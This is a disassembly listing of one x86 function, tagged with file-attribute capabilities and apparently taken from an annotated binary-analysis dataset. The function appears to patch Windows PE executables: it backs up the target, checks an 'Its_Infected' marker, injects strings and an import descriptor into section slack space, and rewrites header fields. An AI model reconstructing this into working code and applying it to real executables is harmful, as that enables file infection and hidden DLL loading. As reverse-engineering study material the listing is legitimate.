Function at 0x403703
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
and byte [ebp - 2], 0
push ebx
mov ebx, dword [ebp + 8]
xor eax, eax
push esi
cmp ebx, eax
push edi
mov dword [ebp - 0x34], eax
je 0x403ab1
mov edi, dword [ebp + 0xc]
cmp edi, eax
je 0x403ab1
cmp dword [ebp + 0x10], eax
je 0x403ab1
cmp dword [ebp + 0x14], eax
je 0x403ab1
push ebx
call fcn.00405d3f
test al, al
pop ecx
je 0x403ab1
push edi
call fcn.00405d3f
test al, al
pop ecx
je 0x403ab1
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
push ebx
mov dword [ebp - 0x34], eax
call esi
push ebx
call fcn.00402982
test al, al
pop ecx
je 0x403eaf
mov esi, dword [sym.imp.MSVCRT.dll_printf]
push str.BackUP_Successfully_n
call esi
push edi
push ebx
call fcn.00402791
and byte [ebp - 1], 0
and byte [ebp - 3], 0
lea eax, [ebp - 3]
push eax
lea eax, [ebp - 1]
push eax
push 1
push ebx
call fcn.00402b4e
add esp, 0x1c
test al, al
je 0x403ab1
cmp byte [ebp - 3], 0
jne 0x403ab1
push dword [ebp + 0x18]
call fcn.00402a1e
test al, al
pop ecx
jne 0x403ec6
push edi
call fcn.00402d91
test ax, ax
pop ecx
je 0x403ab1
cmp word [0x408c04], ax
jne 0x403ecd
mov edx, dword [0x408be8]
mov eax, dword [0x408c00]
and dword [ebp - 0xc], 0
mov dword [ebp - 0x18], eax
test edx, edx
jbe 0x403ab1
mov ecx, dword [0x408be0]
mov esi, dword [eax + 0xc]
cmp esi, ecx
ja 0x403821
mov edi, dword [eax + 0x10]
add edi, esi
cmp ecx, edi
jb 0x403836
add eax, 0x28
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
mov dword [0x408c00], eax
jb 0x403811
jmp 0x403ab1
cmp dword [ebp - 0xc], 0
jl 0x403ab1
mov ebx, dword [eax + 0x14]
push 0x14
sub ebx, dword [eax + 0xc]
add ebx, dword [0x408bf0]
add ebx, ecx
push ebx
mov dword [ebp - 0x3c], ebx
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x403ab1
push ebx
call fcn.00402f83
mov esi, eax
pop ecx
test esi, esi
mov dword [ebp - 0x1c], esi
je 0x403ab1
cmp esi, 0x14
jbe 0x403ab1
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
push dword [ebp + 0x14]
mov edi, eax
call sub.MSVCRT.dll_strlen
add esi, edi
cmp byte [ebp - 1], 0
pop ecx
lea eax, [eax + esi + 0x1a]
pop ecx
mov dword [ebp - 8], eax
je 0x4038a8
add dword [ebp - 8], 0x10
jmp 0x4038ac
add dword [ebp - 8], 8
mov esi, dword [ebp - 0xc]
push dword [ebp + 0x10]
and dword [ebp - 0x24], 0
and dword [ebp - 0x10], 0
mov dword [ebp - 0x30], esi
call sub.MSVCRT.dll_strlen
push dword [ebp + 0x14]
mov edi, eax
call sub.MSVCRT.dll_strlen
cmp byte [ebp - 1], 0
pop ecx
lea eax, [edi + eax + 6]
pop ecx
mov dword [ebp - 0x14], eax
je 0x4038e1
add dword [ebp - 0x14], 8
jmp 0x4038e5
add dword [ebp - 0x14], 4
lea eax, [ebp - 0x24]
mov edi, dword [ebp - 0xc]
push eax
push dword [0x408bec]
push dword [0x408be8]
push edi
push dword [0x408bf0]
push dword [ebp - 0x18]
call fcn.00402e6c
add esp, 0x18
cmp eax, dword [ebp - 8]
mov dword [ebp - 0x20], eax
jl 0x4039a6
mov ecx, dword [ebp - 0x18]
lea eax, [edi + edi*4]
lea eax, [ecx + eax*8]
mov ecx, dword [eax + 0x14]
mov eax, dword [eax + 8]
lea edx, [ecx + eax]
mov ecx, dword [0x408be8]
mov eax, dword [0x408bf0]
dec ecx
cmp ecx, dword [ebp - 0xc]
lea edi, [edx + eax]
jne 0x40394d
mov ecx, dword [0x408bec]
cmp edx, ecx
jbe 0x40394d
sub ecx, dword [ebp - 0x20]
add ecx, eax
mov edi, ecx
push 1
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x4039a6
and dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp - 0x20]
push dword [ebp - 8]
push edi
call fcn.00402fe0
add esp, 0x14
test al, al
je 0x4039a6
cmp dword [ebp - 0x10], 0
jl 0x4039a6
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 8]
cmp dword [ebp - 0x10], eax
jge 0x4039a6
mov eax, dword [0x408be8]
dec eax
cmp eax, dword [ebp - 0xc]
jne 0x403ada
mov eax, dword [ebp - 0x14]
add eax, edi
cmp eax, dword [0x408bec]
jb 0x403ada
xor esi, esi
cmp dword [0x408be8], esi
mov dword [ebp - 0x30], esi
jbe 0x403a84
mov eax, dword [ebp - 0x18]
lea edi, [eax + 8]
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0xc], esi
je 0x403a6b
lea eax, [ebp - 0x24]
and dword [ebp - 0x24], 0
push eax
push dword [0x408bec]
push dword [0x408be8]
push esi
push dword [0x408bf0]
push dword [ebp - 0x18]
call fcn.00402e6c
mov ebx, eax
add esp, 0x18
cmp ebx, dword [ebp - 8]
jl 0x403a6b
mov eax, dword [edi + 0xc]
mov ecx, dword [edi]
lea edx, [eax + ecx]
mov eax, dword [0x408be8]
mov ecx, dword [0x408bf0]
dec eax
cmp eax, esi
lea edi, [edx + ecx]
jne 0x403a20
mov eax, dword [0x408bec]
cmp edx, eax
jbe 0x403a20
sub eax, ebx
add eax, ecx
mov edi, eax
push 1
push edi
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
jne 0x403a6b
and dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
push dword [ebp - 8]
push edi
call fcn.00402fe0
add esp, 0x14
test al, al
je 0x403a6b
cmp dword [ebp - 0x10], 0
jl 0x403a6b
sub ebx, dword [ebp - 8]
cmp dword [ebp - 0x10], ebx
jge 0x403a6b
mov eax, dword [0x408be8]
dec eax
cmp eax, esi
jne 0x403ad7
mov eax, dword [ebp - 0x14]
add eax, edi
cmp eax, dword [0x408bec]
jb 0x403ad7
mov edi, dword [ebp - 0x20]
inc esi
add edi, 0x28
cmp esi, dword [0x408be8]
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x20], edi
jb 0x4039c0
push str.Try_Extenion_n
call dword [sym.imp.MSVCRT.dll_printf]
call fcn.00402b08
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004031f1
add esp, 0x1c
mov byte [ebp - 2], al
call fcn.00402b08
push dword [ebp - 0x34]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00402791
mov al, byte [ebp - 2]
pop ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
mov ebx, dword [ebp - 0x3c]
cmp edi, dword [0x408bf0]
jb 0x403ab1
push dword [ebp - 0x1c]
call dword [sym.imp.MSVCRT.dll_malloc]
test eax, eax
pop ecx
mov dword [ebp - 0x20], eax
je 0x403ab1
push dword [ebp - 0x1c]
push ebx
push eax
call sub.MSVCRT.dll_memcpy
mov eax, dword [ebp - 0x10]
push dword [ebp + 0x10]
lea ebx, [eax + edi]
call sub.MSVCRT.dll_strlen
inc eax
inc eax
push eax
push dword [ebp + 0x10]
push ebx
call fcn.00403072
add esp, 0x1c
push 2
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
pop ecx
add eax, ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
and dword [ebp - 0x44], 0
call sub.MSVCRT.dll_strlen
lea ebx, [ebx + eax + 2]
lea eax, [ebp - 0x44]
push 2
push eax
push ebx
call fcn.00403072
push dword [ebp + 0x14]
inc ebx
inc ebx
call sub.MSVCRT.dll_strlen
inc eax
inc eax
push eax
push dword [ebp + 0x14]
push ebx
call fcn.00403072
add esp, 0x2c
push 2
push 0
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
pop ecx
add eax, ebx
push eax
call sub.MSVCRT.dll_memset
push dword [ebp + 0x14]
call sub.MSVCRT.dll_strlen
add esp, 0x10
cmp byte [ebp - 1], 0
lea ebx, [ebx + eax + 2]
push dword [ebp + 0x10]
mov dword [ebp - 0x14], ebx
je 0x403bef
call sub.MSVCRT.dll_strlen
mov ecx, dword [ebp - 0x18]
lea eax, [eax + edi + 2]
cdq
mov dword [ebp - 0x40], eax
lea eax, [esi + esi*4]
mov dword [ebp - 0x3c], edx
mov edx, dword [0x408bf0]
lea esi, [ecx + eax*8]
xor ecx, ecx
xor ebx, ebx
push 8
mov eax, dword [esi + 0xc]
sub eax, edx
mov edx, dword [esi + 0x14]
sbb ecx, ebx
sub eax, edx
sbb ecx, ebx
add dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x14]
lea eax, [ebp - 0x40]
push eax
push ebx
adc dword [ebp - 0x3c], ecx
call fcn.00403072
add ebx, 8
push 8
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0x1c
add ebx, 8
jmp 0x403c32
call sub.MSVCRT.dll_strlen
mov edx, dword [ebp - 0x18]
lea ecx, [esi + esi*4]
lea eax, [eax + edi + 2]
push 4
lea esi, [edx + ecx*8]
mov ecx, dword [edx + ecx*8 + 0xc]
sub ecx, dword [0x408bf0]
sub ecx, dword [esi + 0x14]
add eax, ecx
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push ebx
call fcn.00403072
add ebx, 4
push 4
push 0
push ebx
call sub.MSVCRT.dll_memset
add esp, 0x1c
add ebx, 4
mov eax, dword [esi + 0xc]
sub eax, dword [0x408bf0]
sub eax, dword [esi + 0x14]
add eax, ebx
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x1c]
add eax, 0xffffffec
push eax
push dword [ebp - 0x20]
push ebx
call fcn.00403072
mov eax, dword [ebp - 0x1c]
push dword [ebp + 0x10]
lea eax, [ebx + eax - 0x14]
mov dword [ebp - 0x14], eax
call sub.MSVCRT.dll_strlen
push dword [ebp + 0x14]
mov ebx, eax
call sub.MSVCRT.dll_strlen
mov ecx, edi
push 4
add ecx, ebx
mov ebx, dword [ebp - 0x14]
lea eax, [eax + ecx + 6]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0xc]
sub eax, dword [0x408bf0]
sub eax, dword [esi + 0x14]
add dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push ebx
call fcn.00403072
and dword [ebp - 0x48], 0
lea eax, [ebp - 0x48]
add ebx, 4
push 4
push eax
push ebx
call fcn.00403072
and dword [ebp - 0x4c], 0
lea eax, [ebp - 0x4c]
add ebx, 4
push 4
push eax
push ebx
call fcn.00403072
mov dword [ebp - 0x38], edi
mov eax, dword [esi + 0xc]
sub eax, dword [0x408bf0]
add ebx, 4
push 4
sub eax, dword [esi + 0x14]
add eax, edi
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x38]
push eax
push ebx
call fcn.00403072
add esp, 0x44
add ebx, 4
mov dword [ebp - 0x14], ebx
push dword [ebp + 0x10]
call sub.MSVCRT.dll_strlen
push dword [ebp + 0x14]
mov ebx, eax
call sub.MSVCRT.dll_strlen
add edi, ebx
push 4
lea eax, [eax + edi + 6]
mov edi, dword [ebp - 0x14]
mov dword [ebp - 0x2c], eax
mov eax, dword [esi + 0xc]
sub eax, dword [0x408bf0]
sub eax, dword [esi + 0x14]
add dword [ebp - 0x2c], eax
lea eax, [ebp - 0x2c]
push eax
push edi
call fcn.00403072
add edi, 4
mov ebx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0x14
lea eax, [ebx + eax - 0x14]
push eax
push edi
call fcn.00403072
push ebx
call dword [sym.imp.MSVCRT.dll_free]
mov eax, dword [ebp - 8]
add esp, 0x24
add dword [esi + 8], eax
mov eax, dword [0x408be8]
dec eax
cmp dword [ebp - 0x30], eax
jne 0x403d92
sub edi, dword [0x408bf0]
sub edi, dword [esi + 0x14]
add edi, 0x15
cmp dword [esi + 0x10], edi
jae 0x403d68
mov dword [esi + 0x10], edi
mov eax, dword [esi + 0x10]
cmp dword [esi + 8], eax
jae 0x403d92
xor ebx, ebx
mov dword [esi + 8], eax
cmp byte [ebp - 1], bl
mov ecx, dword [esi + 0xc]
je 0x403d86
add ecx, eax
mov eax, dword [0x408bfc]
jmp 0x403d8d
add ecx, eax
mov eax, dword [0x408bf8]
mov dword [eax + 0x50], ecx
jmp 0x403d94
xor ebx, ebx
mov edi, dword [ebp + 0x18]
cmp byte [ebp - 1], bl
mov byte [edi], 1
je 0x403de9
mov eax, dword [0x408bfc]
push dword [eax + 0x94]
push dword [eax + 0x90]
call fcn.00402ada
mov eax, dword [0x408bfc]
pop ecx
pop ecx
add dword [eax + 0x94], 0x14
mov eax, dword [0x408bfc]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x90], ecx
mov eax, dword [0x408bfc]
mov dword [eax + 0xe4], ebx
mov eax, dword [0x408bfc]
mov dword [eax + 0xe0], ebx
jmp 0x403e31
mov eax, dword [0x408bf8]
push dword [eax + 0x84]
push dword [eax + 0x80]
call fcn.00402ada
mov eax, dword [0x408bf8]
pop ecx
pop ecx
add dword [eax + 0x84], 0x14
mov eax, dword [0x408bf8]
mov ecx, dword [ebp - 0x18]
mov dword [eax + 0x80], ecx
mov eax, dword [0x408bf8]
mov dword [eax + 0xd4], ebx
mov eax, dword [0x408bf8]
mov dword [eax + 0xd0], ebx
or byte [esi + 0x27], 0x80
cmp byte [ebp - 1], bl
je 0x403e5d
mov eax, dword [0x408bfc]
mov dword [eax + 0x58], ebx
push dword [0x408bec]
push dword [0x408bf0]
call fcn.00402fba
pop ecx
pop ecx
mov ecx, dword [0x408bfc]
jmp 0x403e7e
mov eax, dword [0x408bf8]
mov dword [eax + 0x58], ebx
push dword [0x408bec]
push dword [0x408bf0]
call fcn.00402fba
pop ecx
pop ecx
mov ecx, dword [0x408bf8]
mov dword [ecx + 0x58], eax
mov al, byte [edi]
push eax
call fcn.00402a99
pop ecx
push dword [0x408bec]
push dword [0x408bf0]
call dword [sym.imp.KERNEL32.dll_FlushViewOfFile]
test eax, eax
je 0x403ea4
mov byte [ebp - 2], 1
mov eax, dword [ebp + 0x1c]
mov byte [eax], 1
jmp 0x403ab1
push str.Fail_To_Back_UP_File_n
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
push dword [ebp - 0x34]
push ebx
call esi
jmp 0x403ab1
push str.Its_Infected_n
jmp 0x403ed2
push str.Mis_Match_PE_File_Version_n
call esi
pop ecx
jmp 0x403ab1